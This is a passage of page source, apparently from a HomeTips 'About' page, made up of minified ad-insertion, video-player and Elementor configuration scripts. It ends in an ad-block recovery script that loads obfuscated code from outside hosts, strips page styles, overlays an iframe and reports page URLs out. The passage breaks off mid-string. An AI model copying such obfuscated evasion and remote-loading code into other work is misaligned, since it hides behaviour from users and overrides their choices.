d;(!c||!(!(s==null||(d=s.content)==null)&&d.minHeight))&&(u.style.minHeight=this.locationToMinHeight[t.location]),i={clsDynamicAd:t,dynamicAd:t,element:u,sizes:e,name:`${t.location}_${t.sequence}`,infinite:n!==document}}}return i}getDynamicElementId(e){return`AdThrive_${e.location}_${e.sequence}_${this._device}`}getElements(e,t=document,n){let r=j(e,t);return r.valid,r.elements}_getDynamicAdSelectorContext(e){return{location:e.location,sequence:e.sequence,name:e.name}}_logInvalidBlockedSelector(e,t){}addAd(e,t,n,r=[],i=``){if(!document.getElementById(t)){let a=`<div id="${t}" class="adthrive-ad ${r.join(` `)}"></div>`;i&&(a=`<div class="${i}">${a}</div>`),e.insertAdjacentHTML(n,a)}return document.getElementById(t)}_repeatDynamicAds(t){let n=[],r=t.location===e.Recipe?99:this.locationMaxLazySequence.get(t.location),i=t.lazy?k(r,0):0,a=t.max,o=t.lazyMax,s=i===0&&t.lazy?a+o:Math.min(Math.max(i-t.sequence+1,0),a+o),c=Math.max(a,s);for(let e=0;e<c;e++){let r=Number(t.sequence)+e,i=t.lazy&&e>=a,o=r;t.name===`Recipe_1`&&r>=5&&(o=r+1),n.push({...t,sequence:o,lazy:i})}return n}_locationEnabled(e){let t=this._clsOptions.enabledLocations.includes(e.location),n=this._clsOptions.disableAds&&this._clsOptions.disableAds.all||document.body.classList.contains(`adthrive-disable-all`),r=!document.body.classList.contains(`adthrive-disable-content`)&&!this._clsOptions.disableAds.reasons.has(`content_plugin`);return t&&!n&&r}},Mt=class{constructor(){s(this,`_map`,[])}add(e,t,n,r=document){this._map.push({el:e,coords:t,dynamicAd:n,target:r})}addSorted(e,t,n,r=document){let i=this._upperBoundIndex(t);this._map.splice(i,0,{el:e,coords:t,dynamicAd:n,target:r})}get map(){return this._map}sort(){this._map.sort(({coords:e},{coords:t})=>e-t)}filterUsed(){this._map=this._map.filter(({dynamicAd:e})=>!e.used)}findNeighborIndices(e){let t=this._upperBoundIndex(e);return[t-1>=0?t-1:null,t<this._map.length?t:null]}_upperBoundIndex(e){let t=0,n=this._map.length;for(;t<n;){let r=t+n>>>1;this._map[r].coords<=e?t=r+1:n=r}return t}reset(){this._map=[]}},Nt=class extends Mt{};let Pt=e=>{let t=ne(),n=T(),r=e.siteAdsProfiles,i=null;if(r&&r.length)for(let e of r){let r=e.targeting.device,a=e.targeting.browserEngine,o=r&&r.length&&r.includes(n),s=a&&a.length&&a.includes(t);o&&s&&(i=e)}return i},Ft=e=>{let t=Pt(e);if(t){let e=t.profileId;document.body.classList.add(`raptive-profile-${e}`)}},$={Video_Collapse_Autoplay_SoundOff:`Video_Collapse_Autoplay_SoundOff`,Video_Indiv
875idual_Autoplay_SOff:`Video_Individual_Autoplay_SOff`,Video_Coll_SOff_Smartphone:`Video_Coll_SOff_Smartphone`,Video_In_Post_ClicktoPlay_SoundOn:`Video_In-Post_ClicktoPlay_SoundOn`,Video_Collapse_Autoplay_SoundOff_15s:`Video_Collapse_Autoplay_SoundOff_15s`,Video_Individual_Autoplay_SOff_15s:`Video_Individual_Autoplay_SOff_15s`,Video_Coll_SOff_Smartphone_15s:`Video_Coll_SOff_Smartphone_15s`,Video_In_Post_ClicktoPlay_SoundOn_15s:`Video_In-Post_ClicktoPlay_SoundOn_15s`};var It=class{get enabled(){throw Error(`Enablement must be defined at factory creation time.`)}};let Lt=(e=navigator.userAgent)=>E(e)===`desktop`;var Rt=class extends It{constructor(e,t,n){super(),this._videoConfig=e,this._component=t,this._context=n,s(this,`_potentialPlayerMap`,void 0),s(this,`_device`,void 0),s(this,`_stickyRelatedOnPage`,!1),s(this,`_relatedMediaIds`,[]),this._device=Lt()?`desktop`:`mobile`,this._potentialPlayerMap=this.setPotentialPlayersMap()}setPotentialPlayersMap(){let e=this._videoConfig.players||[],t=this._filterPlayerMap();return t.stationaryRelated=this._getPotentialStationaryPlayers(e,t.stationaryRelated),this._potentialPlayerMap=t,this._potentialPlayerMap}_getPotentialStationaryPlayers(e,t){let n=new Set(t);return e.forEach(e=>e.type===`stationaryRelated`&&e.enabled&&n.add(e)),[...n]}_filterPlayerMap(){let e=this._videoConfig.players,t={stickyRelated:[],stickyPlaylist:[],stationaryRelated:[]};return e&&e.length?e.filter(e=>{var t;return(t=e.devices)==null?void 0:t.includes(this._device)}).reduce((e,t)=>{if(e[t.type]||(F.event(this._component,`constructor`,`Unknown Video Player Type detected`,t.type),e[t.type]=[]),t.enabled){let n=t.type;this._videoConfig.shouldDisableStickyRelated&&t.type===`stickyRelated`&&(n=`stationaryRelated`),e[n].push(t)}return e},t):t}_checkPlayerSelectorOnPage(e){for(let t of this._potentialPlayerMap[e]){let e=this._getPlacementElement(t);if(e)return{player:t,playerElement:e}}return{player:null,playerElement:null}}_getOverrideElement(e,t,n){if(e&&t){let r=document.createElement(`div`);t.insertAdjacentElement(e.position,r),n=r}else{let{player:e,playerElement:t}=this._checkPlayerSelectorOnPage(`stickyPlaylist`);if(e&&t){let r=document.createElement(`div`);t.insertAdjacentElement(e.position,r),n=r}}return n}_shouldOverrideElement(e){let t=e.getAttribute(`override-embed`);return t===`true`||t===`false`?t===`true`:this._videoConfig.relatedSettings?this._videoConfig.relatedSettings.overrideEmbedLocation:!1}_checkPageSelector(e,t,n=[]){return e&&t&&n.length===0?(window.location.pathname!==`/`&&F.event(`VideoUtils`,`getPlacementElement`,{name:`Error`,message:`PSNF: ${e} does not exist on the page`}),!1):!0}_getElementSelector(e,t,n){return t&&t.length>n?t[n]:(F.event(`VideoUtils`,`getPlacementElement`,{name:`Error`,message:`ESNF: ${e} does not exist on the page`}),null)}_getPlacementElement(e){let{pageSelector:t,elementSelector:n,skip:r}=e,{valid:i,elements:a,...o}=P(t),{valid:s,elements:c,...l}=N(n);return t!==``&&!i?(F.error(`VideoUtils`,`getPlacementElement`,Error(`${t} is not a valid selector`),o),null):s?this._checkPageSelector(t,i,a)&&this._getElementSelector(n,c,r)||null:(F.error(`VideoUtils`,`getPlacementElement`,Error(`${n} is not a valid selector`),l),null)}_getEmbeddedPlayerType(e){if(this._videoConfig.shouldDisableStickyRelated)return`static`;let t=e.getAttribute(`data-player-type`);return(!t||t==="default")&&(t=this._videoConfig.relatedSettings?this._videoConfig.relatedSettings.defaultPlayerType:`static`),this._stickyRelatedOnPage&&(t=`static`),t}_getMediaId(e){let t=e.getAttribute(`data-video-id`);return t?(this._relatedMediaIds.push(t),t):!1}_getOrientation(e){return e.getAttribute(`orientation`)===`vertical`?`vertical`:`horizontal`}_createRelatedPlayer(e,t,n,r,i){t===`collapse`?this._createCollapsePlayer(e,n):t===`static`&&this._createStaticPlayer(e,n,r,i)}_createCollapsePlayer(e,t){let{player:n,playerElement:r}=this._checkPlayerSelectorOnPage(`stickyRelated`),i=n||this._potentialPlayerMap.stationaryRelated[0];i&&i.playerId&&!this._videoConfig.shouldDisableStickyRelated?(this._shouldOverrideElement(t)&&(t=this._getOverrideElement(n,r,t)),t=document.querySelector(`#cls-v
875ideo-container-${e} > div`)||t,this._createStickyRelatedPlayer({...i,mediaId:e},t)):F.error(this._component,`_createCollapsePlayer`,`No video player found`)}_createStaticPlayer(e,t,n,r){if(this._potentialPlayerMap.stationaryRelated.length&&this._potentialPlayerMap.stationaryRelated[0].playerId){let i=this._potentialPlayerMap.stationaryRelated[0];this._createStationaryRelatedPlayer({...i,mediaOrPlaylistId:e,orientation:r},t,n)}else F.error(this._component,`_createStaticPlayer`,`No video player found`)}_shouldRunAutoplayPlayers(){return!!(this._isVideoAllowedOnPage()&&(this._potentialPlayerMap.stickyRelated.length||this._potentialPlayerMap.stickyPlaylist.length))}_setPlaylistMediaIdWhenStationaryOnPage(e,t){if(this._potentialPlayerMap.stationaryRelated.length&&this._potentialPlayerMap.stationaryRelated[0].playerId&&e&&e.length){let n=e[0].getAttribute(`data-video-id`);return n?{...t,mediaId:n}:t}return t}_determineAutoplayPlayers(e){let t=this._component,n=t===`VideoManagerComponent`,r=this._context;if(this._stickyRelatedOnPage){F.event(t,`stickyRelatedOnPage`,n&&{device:r&&r.device,isDesktop:this._device}||{});return}let{playerElement:i}=this._checkPlayerSelectorOnPage(`stickyPlaylist`),{player:a}=this._checkPlayerSelectorOnPage(`stickyPlaylist`);a&&a.playerId&&i?(a=this._setPlaylistMediaIdWhenStationaryOnPage(e,a),this._createPlaylistPlayer(a,i)):Math.random()<.01&&setTimeout(()=>{F.event(t,`noStickyPlaylist`,n&&{vendor:`none`,device:r&&r.device,isDesktop:this._device}||{})},1e3)}_initializeRelatedPlayers(e){let t=new Map;for(let n=0;n<e.length;n++){let r=e[n],i=r.offsetParent,a=this._getEmbeddedPlayerType(r),o=this._getMediaId(r),s=this._getOrientation(r);if(i&&o){let e=(t.get(o)||0)+1;t.set(o,e),this._createRelatedPlayer(o,a,r,e,s)}}}},zt=class extends Rt{constructor(e,t){super(e,`ClsVideoInsertion`),this._videoConfig=e,this._clsOptions=t,s(this,`_IN_POST_SELECTOR`,`.adthrive-video-player`),s(this,`_WRAPPER_BAR_HEIGHT`,36),s(this,`_playersAddedFromPlugin`,[]),t.removeVideoTitleWrapper&&(this._WRAPPER_BAR_HEIGHT=0)}init(){this._initializePlayers()}_wrapVideoPlayerWithCLS(e,t,n=0,r=`horizontal`){if(e.parentNode){let i=e.offsetWidth,a=r===`vertical`;a&&this._device===`desktop`&&(i*=.5);let o=i*(a?16/9:9/16),s=this._createGenericCLSWrapper(o,t,n);return e.parentNode.insertBefore(s,e),s.appendChild(e),s}return null}_createGenericCLSWrapper(e,t,n){let r=document.createElement(`div`);return r.id=`cls-video-container-${t}`,r.className=`adthrive`,r.style.minHeight=`${e+n}px`,r}_getTitleHeight(){let e=document.createElement(`h3`);e.style.margin=`10px 0`,e.innerText=`Title`,e.style.visibility=`hidden`,document.body.appendChild(e);let t=window.getComputedStyle(e),n=parseInt(t.height,10),r=parseInt(t.marginTop,10),i=parseInt(t.marginBottom,10);return document.body.removeChild(e),Math.min(n+i+r,50)}_initializePlayers(){let e=document.querySelectorAll(this._IN_POST_SELECTOR);e.length&&this._initializeRelatedPlayers(e),this._shouldRunAutoplayPlayers()&&this._determineAutoplayPlayers(e)}_createStationaryRelatedPlayer(e,t,n){let r=this._device===`mobile`?[400,225]:[640,360],i=$.Video_In_Post_ClicktoPlay_SoundOn;if(t&&e.mediaOrPlaylistId){let a=`${e.mediaOrPlaylistId}_${n}`,o=this._wrapVideoPlayerWithCLS(t,a,0,e.orientation);this._playersAddedFromPlugin.push(e.mediaOrPlaylistId),o&&this._clsOptions.setInjectedVideoSlots({playerId:e.playerId,playerName:i,playerSize:r,element:o,type:`stationaryRelated`})}}_createStickyRelatedPlayer(e,t){if(this._videoConfig.shouldDisableStickyRelated)return;let n=this._device===`mobile`?[400,225]:[640,360],r=$.Video_Individual_Autoplay_SOff;if(this._stickyRelatedOnPage=!0,this._videoConfig.mobileStickyPlayerOnPage=this._device===`mobile`,this._videoConfig.collapsiblePlayerOnPage=!0,t&&e.position&&e.mediaId){let i=document.createElement(`div`);t.insertAdjacentElement(e.position,i);let a=this._getTitleHeight(),o=this._wrapVideoPlayerWithCLS(i,e.mediaId,this._WRAPPER_BAR_HEIGHT+a);this._playersAddedFromPlugin.push(e.mediaId),o&&this._clsOptions.setInjectedVideoSlots({playlistId:e.playlistId,playerId:e.playerId,playerSize:n,playerName:r,element:i,type:`stickyRelated`})}}_createPlaylistPlayer(e,t){let n=e.playlistId,r=this._device===`mobile`?$.Video_Coll_SOff_Smartphone:$.Video_Collapse_Autoplay_SoundOff,i=this._device===`mobile`?[400,225]:[640,360];this._videoConfig.mobileStickyPlayerOnPage=!0,this._videoConfig.collapsiblePlayerOnPage=!0;let a=document.createElement(`div`);t.insertAdjacentElement(e.position,a);let o=this._WRAPPER_BAR_HEIGHT;e.title&&(o+=this._getTitleHeight());let s=this._wrapVideoPlayerWithCLS(a,n,o);this._playersAddedFromPlugin.push(`playlist-${n}`),s&&this._clsOptions.setInjectedVideoSlots({playlistId:e.playlistId,playerId:e.playerId,playerSize:i,playerName:r,element:a,type:`stickyPlaylist`})}_isVideoAllowedOnPage(){let e=this._clsOptions.disableAds;if(e&&e.video){let t=``;e.reasons.has(`video_plugin`)?t=`video plugin`:e.reasons.has(`video_page`)&&(t=`command queue`);let n=t?`ClsVideoInsertionMigrated`:`ClsVideoInsertion`;return F.error(n,`isVideoAllowedOnPage`,Error(`DBP: Disabled by publisher via ${t||`other`}`)),!1}return!this._clsOptions.videoDisabledFromPlugin}};try{(()=>{let e=new c;
875!e||!e.enabled||(e.siteAds&&Ft(e.siteAds),new jt(e,new Nt).start(),new zt(new fe(e),e).init())})()}catch(e){F.error(`CLS`,`pluginsertion-iife`,e),window.adthriveCLS&&(window.adthriveCLS.injectedFromPlugin=!1)}})();</script>
875<script data-no-optimize="1" data-cfasync="false">(function () {var clsElements = document.querySelectorAll("script[id^='cls-']"); window.adthriveCLS && clsElements && clsElements.length === 0 ? window.adthriveCLS.injectedFromPlugin = false : ""; })();</script>
875<script type="speculationrules">{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/hello-elementor-child/*","/wp-content/themes/hello-elementor/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]}</script>
875 
875<script>( () => {
876					const lazyloadRunObserver = () => {
877						const lazyloadBackgrounds = document.querySelectorAll( `.e-con.e-parent:not(.e-lazyloaded)` );
878						const lazyloadBackgroundObserver = new IntersectionObserver( ( entries ) => {
879							entries.forEach( ( entry ) => {
880								if ( entry.isIntersecting ) {
881									let lazyloadBackground = entry.target;
882									if( lazyloadBackground ) {
883										lazyloadBackground.classList.add( 'e-lazyloaded' );
884									}
885									lazyloadBackgroundObserver.unobserve( entry.target );
886								}
887							});
888						}, { rootMargin: '200px 0px 200px 0px' } );
889						lazyloadBackgrounds.forEach( ( lazyloadBackground ) => {
890							lazyloadBackgroundObserver.observe( lazyloadBackground );
891						} );
892					};
893					const events = [
894						'DOMContentLoaded',
895						'elementor/lazyload/observe',
896					];
897					events.forEach( ( event ) => {
898						document.addEventListener( event, lazyloadRunObserver );
899					} );
900				} )();</script>
900 <noscript><style>.lazyload{display:none;}</style></noscript>
900<script data-noptimize="1">window.lazySizesConfig=window.lazySizesConfig||{};window.lazySizesConfig.loadMode=1;</script>
900<script async data-noptimize="1" src='https://www.hometips.com/wp-content/plugins/autoptimize/classes/external/js/lazysizes.min.js'></script>
900<script id="easyazon-addition-localize-links-js-extra">var EasyAzon_Addition_Localize_Links = {"ajaxAction":"easyazon_addition_localize","ajaxUrl":"https://www.hometips.com/wp-admin/admin-ajax.php"};
901//# sourceURL=easyazon-addition-localize-links-js-extra</script>
901 
901<script id="easyazon-addition-popovers-js-extra">var EasyAzon_Addition_Components_Popovers = {"ajaxUrl":"https://www.hometips.com/wp-admin/admin-ajax.php","ajaxAction":"easyazon_get_popover_markup","loading":"Loading product data.","placement":"top","template":"\u003Cdiv class=\"popover easyazon-popover\"\u003E\u003Cdiv class=\"arrow\"\u003E\u003C/div\u003E\u003Ch3 class=\"popover-title\"\u003E\u003C/h3\u003E\u003Cdiv class=\"popover-content easyazon-popover-content\"\u003E\u003C/div\u003E\u003C/div\u003E","timeout":"750"};
902//# sourceURL=easyazon-addition-popovers-js-extra</script>
902 
902<script id="jquery-ui-core-js-before">jQuery.uiBackCompat = true;
903//# sourceURL=jquery-ui-core-js-before</script>
903 
903<script id="elementor-frontend-js-before">var elementorFrontendConfig = {"environmentMode":{"edit":false,"wpPreview":false,"isScriptDebug":false},"i18n":{"shareOnFacebook":"Share on Facebook","shareOnX":"Share on X","pinIt":"Pin it","download":"Download","downloadImage":"Download image","fullscreen":"Fullscreen","zoom":"Zoom","share":"Share","playVideo":"Play Video","previous":"Previous","next":"Next","close":"Close","a11yCarouselPrevSlideMessage":"Previous slide","a11yCarouselNextSlideMessage":"Next slide","a11yCarouselFirstSlideMessage":"This is the first slide","a11yCarouselLastSlideMessage":"This is the last slide","a11yCarouselPaginationBulletMessage":"Go to slide"},"is_rtl":false,"breakpoints":{"xs":0,"sm":480,"md":768,"lg":1025,"xl":1440,"xxl":1600},"responsive":{"breakpoints":{"mobile":{"label":"Mobile Portrait","value":767,"default_value":767,"direction":"max","is_enabled":true},"mobile_extra":{"label":"Mobile Landscape","value":880,"default_value":880,"direction":"max","is_enabled":false},"tablet":{"label":"Tablet Portrait","value":1024,"default_value":1024,"direction":"max","is_enabled":true},"tablet_extra":{"label":"Tablet Landscape","value":1200,"default_value":1200,"direction":"max","is_enabled":false},"laptop":{"label":"Laptop","value":1366,"default_value":1366,"direction":"max","is_enabled":false},"widescreen":{"label":"Widescreen","value":2400,"default_value":2400,"direction":"min","is_enabled":false}},"hasCustomBreakpoints":false},"version":"4.2.3","is_static":false,"experimentalFeatures":{"e_font_icon_svg":true,"additional_custom_breakpoints":true,"e_panel_promotions":true,"theme_builder_v2":true,"global_classes_should_enforce_capabilities":true,"e_variables":true,"e_opt_in_v4_page":true,"e_components":true,"e_interactions":true,"e_widget_creation":true,"import-export-customization":true,"e_pro_atomic_form":true,"e_pro_collection_loop":true,"e_pro_variables":true,"e_pro_interactions":true},"urls":{"assets":"https:\/\/www.hometips.com\/wp-content\/plugins\/elementor\/assets\/","ajaxurl":"https:\/\/www.hometips.com\/wp-admin\/admin-ajax.php","uploadUrl":"https:\/\/www.hometips.com\/wp-content\/uploads"},"nonces":{"floatingButtonsClickTracking":"979ee927e1","atomicFormsSendForm":"099a955330"},"swiperClass":"swiper","settings":{"page":[],"editorPreferences":[]},"kit":{"active_breakpoints":["viewport_mobile","viewport_tablet"],"global_image_lightbox":"yes","lightbox_enable_counter":"yes","lightbox_enable_fullscreen":"yes","lightbox_enable_zoom":"yes","lightbox_enable_share":"yes","lightbox_title_src":"title","lightbox_description_src":"description"},"post":{"id":12410,"title":"About%20HomeTips","excerpt":"","featuredImage":"https:\/\/www.hometips.com\/wp-content\/uploads\/2012\/09\/Building-Habitat-Houses-1024x635.jpg"}};
904//# sourceURL=elementor-frontend-js-before</script>
904 
904<script id="wp-i18n-js-after">wp.i18n.setLocaleData( { 'text direction\u0004ltr': [ 'ltr' ] } );
905//# sourceURL=wp-i18n-js-after</script>
905 
905<script id="elementor-pro-frontend-js-before">var ElementorProFrontendConfig = {"ajaxurl":"https:\/\/www.hometips.com\/wp-admin\/admin-ajax.php","nonce":"a2d19085b3","urls":{"assets":"https:\/\/www.hometips.com\/wp-content\/plugins\/elementor-pro\/assets\/","rest":"https:\/\/www.hometips.com\/wp-json\/"},"settings":{"lazy_load_background_images":true},"popup":{"hasPopUps":false},"shareButtonsNetworks":{"facebook":{"title":"Facebook","has_counter":true},"twitter":{"title":"Twitter"},"linkedin":{"title":"LinkedIn","has_counter":true},"pinterest":{"title":"Pinterest","has_counter":true},"reddit":{"title":"Reddit","has_counter":true},"vk":{"title":"VK","has_counter":true},"odnoklassniki":{"title":"OK","has_counter":true},"tumblr":{"title":"Tumblr"},"digg":{"title":"Digg"},"skype":{"title":"Skype"},"stumbleupon":{"title":"StumbleUpon","has_counter":true},"mix":{"title":"Mix"},"telegram":{"title":"Telegram"},"pocket":{"title":"Pocket","has_counter":true},"xing":{"title":"XING","has_counter":true},"whatsapp":{"title":"WhatsApp"},"email":{"title":"Email"},"print":{"title":"Print"},"x-twitter":{"title":"X"},"threads":{"title":"Threads"}},"facebook_sdk":{"lang":"en_US","app_id":""},"lottie":{"defaultAnimationUrl":"https:\/\/www.hometips.com\/wp-content\/plugins\/elementor-pro\/modules\/lottie\/assets\/animations\/default.json"}};
906//# sourceURL=elementor-pro-frontend-js-before</script>
906 
906<script data-no-optimize='1' data-cfasync='false' id='adblock-detection-cbeddd4'>(function(){(function(e){if(e.cookie.indexOf(`__adblocker`)===-1){let t=!1,n=function(){t=!0};window.addEventListener(`pagehide`,n);let r=navigator.userAgent,i=/AppleWebKit/.test(r)&&!/Chrome/.test(r)||/\b(iPad|iPhone|iPod)\b/.test(r),a=new XMLHttpRequest;a.open(`GET`,`https://ads.adthrive.com/abd/abd.js`,!0),a.onreadystatechange=function(){if(a.readyState===4){if(window.removeEventListener(`pagehide`,n),a.status===200){let t=e.createElement(`script`);t.innerHTML=a.responseText,e.getElementsByTagName(`head`)[0].appendChild(t);return}if(!navigator.onLine||t||i&&e.visibilityState===`hidden`)return;let r=new Date;r.setTime(r.getTime()+300*1e3),e.cookie=`__adblocker=true; expires=`+r.toUTCString()+`; path=/`}},a.send()}})(document)})();</script>
906<script data-no-optimize='1' data-cfasync='false' data-abr-mode='light' id='adblock-recovery-cbeddd4'>(function(){(function(){var e=document.currentScript,t=e&&e.dataset&&e.dataset.abrMode?e.dataset.abrMode:`light`;function n(){var e=document.cookie.match(`(^|[^;]+)\\s*__adblocker\\s*=\\s*([^;]+)`);return e&&e.pop()}function r(){var e=document.createElement(`script`);e.async=!0,e.id=`Tqgkgu`,e.setAttribute(`data-sdk`,`l/1.1.15`),e.setAttribute(`data-cfasync`,`false`),e.src=`https://html-load.com/loader.min.js`,e.charset=`UTF-8`,e.setAttribute(`data`,`kfpvgbrkab9r4a5rkrqrkwagrw6rzrv8rxag0asrka5abaoagrxa5srxrxabasrkrvabaoaxrx0asrkabrxfaba1raa5a5asrkr9wa1agrw6rzr9rkaia8`),e.setAttribute(`onload`,`(async()=>{let e='html-'+'load.com';const t=window,a=document,r=e=>new Promise((t=>{const a=.1*e,r=e+Math.floor(2*Math.random()*a)-a;setTimeout(t,r)})),o=t.addEventListener.bind(t),n=t.postMessage.bind(t),s=btoa,i='message',l=location,c=Math.random;try{const t=()=>new Promise(((e,t)=>{let a=c().toString(),r=c().toString();o(i,(e=>e.data===a&&n(r,'*'))),o(i,(t=>t.data===r&&e())),n(a,'*'),setTimeout((()=>{t(Error('Timeout'))}),1231)})),a=async()=>{try{let e=!1;const a=c().toString();if(o(i,(t=>{t.data===a+'_as_res'&&(e=!0)})),n(a+'_as_req','*'),await t(),await r(500),e)return!0}catch(e){}return!1},s=[100,500,1e3];for(let o=0;o<=s.length&&!await a();o++){if(o===s.length-1)throw'Failed to load website properly since '+e+' is tainted. Please allow '+e;await r(s[o])}}catch(d){try{const e=a.querySelector('script#Tqgkgu').getAttribute('onerror');t[s(l.hostname+'_show_bfa')]=d,await new Promise(((t,r)=>{o('message',(e=>{'as_modal_loaded'===e.data&&t()})),setTimeout((()=>r(d)),3e3);const n=a.createElement('script');n.innerText=e,a.head.appendChild(n),n.remove()}))}catch(m){(t=>{const a='https://report.error-report.com/modal';try{confirm('There was a problem loading the page. Please click OK to learn more.')?l.href=a+'?url='+s(l.href)+'&error='+s(t)+'&domain='+e:l.reload()}catch(d){location.href=a+'?eventId=&error=Vml0YWwgQVBJIGJsb2NrZWQ%3D&domain='+e}})(d)}}})();`),e.setAttribute(`onerror`,`(async()=>{const e=window,t=document;let r=JSON.parse(atob('WyJodG1sLWxvYWQuY29tIiwiZmIuaHRtbC1sb2FkLmNvbSIsImQzN2o4cGZ4dTJpb2dpLmNsb3VkZnJvbnQubmV0IiwiY29udGVudC1sb2FkZXIuY29tIiwiZmIuY29udGVudC1sb2FkZXIuY29tIl0=')),o=r[0];const a='addEventListener',n='setAttribute',s='getAttribute',i=location,l=clearInterval,c='as_retry',d=i.hostname,h=e.addEventListener.bind(e),m=btoa,u='https://report.error-report.com/modal',b=e=>{try{confirm('There was a problem loading the page. Please click OK to learn more.')?i.href=u+'?url='+m(i.href)+'&error='+m(e)+'&domain='+o:i.reload()}catch(t){location.href=u+'?eventId=&error=Vml0YWwgQVBJIGJsb2NrZWQ%3D&domain='+o}},p=async e=>{try{localStorage.setItem(i.host+'_fa_'+m('last_bfa_at'),Date.now().toString())}catch(p){}setInterval((()=>t.querySelectorAll('link,style').forEach((e=>e.remove()))),100);const r=await fetch('https://error-report.com/report?type=loader_light&url='+m(i.href)+'&error='+m(e),{method:'POST'}).then((e=>e.text())),a=new Promise((e=>{h('message',(t=>{'as_modal_loaded'===t.data&&e()}))}));let s=t.createElement('iframe');s.src=u+'?url='+m(i.href)+'&eventId='+r+'&error='+m(e)+'&domain='+o,s[n]('style','width:100vw;height:100vh;z-index:2147483647;position:fixed;left:0;top:0;');const c=e=>{'close-error-report'===e.data&&(s.remove(),removeEventListener('message',c))};h('message',c),t.body.appendChild(s);const d=setInterval((()=>{if(!t.contains(s))return l(d);(()=>{const e=s.getBoundingClientRect();return'none'!==getComputedStyle(s).display&&0!==e.width&&0!==e.height})()||(l(d),b(e))}),1e3);await new Promise(((t,r)=>{a.then(t),setTimeout((()=>r(e)),3e3)}))},f=m(d+'_show_bfa');if(e[f])p(e[f]);else try{if(void 0===e[c]&&(e[c]=0),e[c]>=r.length)throw'Failed to load website properly since '+o+' is blocked. Please allow '+o;if((()=>{const t=e=>{let t=0;for(let r=0,o=e.length;o>r;r++)t=(t<<5)-t+e.charCodeAt(r),t|=0;return t},r=Date.now(),o=r-r%864e5,a=o-864e5,n=o+864e5,s='loader-check',i='as_'+t(s+'_'+o),l='as_'+t(s+'_'+a),c='as_'+t(s+'_'+n);return i!==l&&i!==c&&l!==c&&!!(e[i]||e[l]||e[c])})())return;const i=t.querySelector('#Tqgkgu'),l=t.createElement('script');for(let e=0;e<i.attributes.length;e++)l[n](i.attributes[e].name,i.attributes[e].value);const h=m(d+'_onload');e[h]&&l[a]('load',e[h]);const u=m(d+'_onerror');e[u]&&l[a]('error',e[u]);const b=new e.URL(i[s]('src'));b.host=r[e[c]++],l[n]('src',b.href),i[n]('id',i[s]('id')+'_'),i.parentNode.insertBefore(l,i),i.remove()}catch(w){try{await p(w)}catch(w){b(w)}}})();`),document.head.appendChild(e);var t=document.createElement(`script`);t.setAttribute(`data-cfasync`,`false`),t.setAttribute(`nowprocket`,``),t.textContent=`(async()=>{function t(t) { const e = t.length; let o = ''; for (let r = 0; e > r; r++) { o += t[2939 * (r + 20) % e] } return o }const e=window,o=t('Elementcreate'),r=t('pielnddaCph'),n=t('erdeLtedvtsnaEni'),c=t('tAtesetubirt'),a=document,i=a.head,s=a[o].bind(a),d=i[r].bind(i),l=location,m=l.hostname,h=btoa;e[n].bind(e);let u=t('oad.comhtml-l');(async()=>{try{const n=a.querySelector(t('#Tqgkguscript'));if(!n)throw t('onnaC dnif t')+u+t('i.cp rts');const i=n.getAttribute(t('nororre')),f=n.getAttribute(t('aolnod')),p=await new Promise((o=>{const r=t('x')+Math.floor(1e6*Math.random());e[r]=()=>o(!0);const n=s(t('pircst'));n.src=t(':atad;'),n[c](t('nororre'),t('iw.wodn')+r+t('()')),d(n),setTimeout((()=>{o(!1), n.remove()}),251)}));if(p)return;function o(){const e=s(t('pircst'));e.innerText=i,d(e),e.remove()}const b=h(m+t('o_daoln')),w=h(m+t('rrnr_eoo'));e[b]=function(){const e=s(t('pircst'));e.innerText=f,d(e),e.remove()},e[w]=o,o()}catch(r){(e => { const o = t('ro/treeol/t-.dsoormterpmh/.rca:rrtopp'); try { const r = t('cleopr   eges.eke aremtc. m Ta apdo ool t ahrOsaibwr iPhl enKegnlael'); confirm(r) ? l.href = o + t('?=lru') + h(l.href) + t('e&=rorr') + h(e) + t('a=oi&mnd') + u : l.reload() }
906 catch (r) { location.href = o + t('J%ndVVNdvrYGQiI=Q2&ee0IWatrgbD?&lJZmnows3==mBroerW') + u } })(r)}})()})();`,document.head.appendChild(t)}function i(){var e=document.createElement(`script`);e.setAttribute(`data-cfasync`,`false`),e.dataset.domain=`html-load.cc`,e.textContent=`(function(){function p(){const X=['W64nwmoJW7hdK8kjW7BcUMu','W60xWQxcMW','WRabWRBcHq','W7fJWRm/','xmoZvmkR','W6BdLSo8Aq','W59mcrC','qdZdImop','WQuUq0S','W5WQW4FdLW','pCkHygO','WPHguSoy','W6tcGaHl','qN/dRSkS','W4b6WO0','W4fucuW','W4tdNSoVeq','W5pcISoUwq','aa0ywq','amkvhuu','mZhcMmkm','WOm3WOKv','WRVcH8kkwmoJBCoXW5/cMq','x8kPW57dTG','mSo9se8','EIvxoW','W51ihf8','WRexWQFcJG','g3BdPCox','cWSCrq','W6L+WQ1G','mCkIBMS','W5WIW4JdISkVW5BdRCkPnCku','W7rtW7JcNG','WORcSWu','W5hdR8o0W4y','nSkKW6NdVW','jqBcUXO','ax7cMa','W6iex8oZjCk9W45Utq','WPPqv8oz','W6zsWQhcRa','W4JdHmk1bG','sSo9q8kS','kItcN1O','W4tdN8kSfW','WQ5Aa8k0','W5mgdvW','kYhcVIK','fmozW7a/','W6n9WQvR','W7b1WQ5X','WRizWPW','hSkGW43dKa','W6OgvSoJW4hdUSkWW4dcGKa','aHSvBa','WP8SWOGi','rmkkqH3cM23cPSoHW7xcOq','WO7cI0ZcKa','W4ZdH8kHW4e','WRldMLuoWRqlFSkYr8o+W4pdGG','jH3cRmkA','A8k6c2FdS2tdSuldSW','oY3cGWe','W6FdNmoqCq','c2dcLwy','v2ubWOC','o8oju8og','W4xdLSkYwq','WRfEW6NdHG','W78yW6BcRa','nmovW60S','WOhcQSkWWPPqB2tdUaPvC8o/','WO3dG8kPhW','W47dKCk2','a8kTW4tcSa','WOvmaSop','dwdcJNK','WRnnW69a','sNFdRG','WOrwwCow','WRewWQu','o1BcPCkx','tCo7DmkP','WQObWQFcJq','jWVdSLG','z8o0mem0lYJcT8kq','W4hcTbpdGG','a8kNW7ZdKq','pcxcJCkr','xCkWuSkM','WPGsrq4qWQz2s8oPW6RdPW','fCkGW4i','WOqDwHPcW4KGWOJcJW','CS